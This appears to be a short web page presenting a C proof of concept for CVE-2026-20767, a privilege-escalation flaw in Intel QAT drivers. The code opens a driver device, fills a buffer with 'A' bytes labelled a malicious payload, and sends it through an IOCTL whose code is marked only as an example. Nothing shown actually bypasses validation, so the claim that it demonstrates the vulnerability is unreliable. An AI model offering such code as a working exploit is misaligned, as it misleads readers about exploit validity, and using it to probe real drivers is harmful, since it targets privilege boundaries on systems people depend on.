CVE-2026-20767 Intel QAT驱动程序权限提升漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-20767 // This code demonstrates the improper input validation vulnerability // in Intel QAT drivers before version 1.13. // Note: This is for educational and defensive testing purposes only. #define DEVICE_NAME "\\\\.\\IntelQATDevice" #define IOCTL_VULNERABLE_FUNC 0x80002000 // Example control code int main() { HANDLE hDevice; DWORD bytesReturned; char inputBuffer[256]; char outputBuffer[256]; // 1. Obtain a handle to the device hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device opened successfully.\n"); // 2. Prepare malicious input (Improper validation trigger) // Filling buffer with specific pattern to bypass weak validation checks memset(inputBuffer, 0x41, sizeof(inputBuffer)); printf("[+] Sending malicious payload to trigger vulnerability...\n"); // 3. Send the IOCTL request BOOL result = DeviceIoControl(hDevice, IOCTL_VULNERABLE_FUNC, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL); if (result) { printf("[+] IOCTL call executed. Check if privilege escalation occurred.\n"); } else { printf("[-] IOCTL call failed. Error: %d\n", GetLastError()); } // 4. Cleanup CloseHandle(hDevice); return 0; }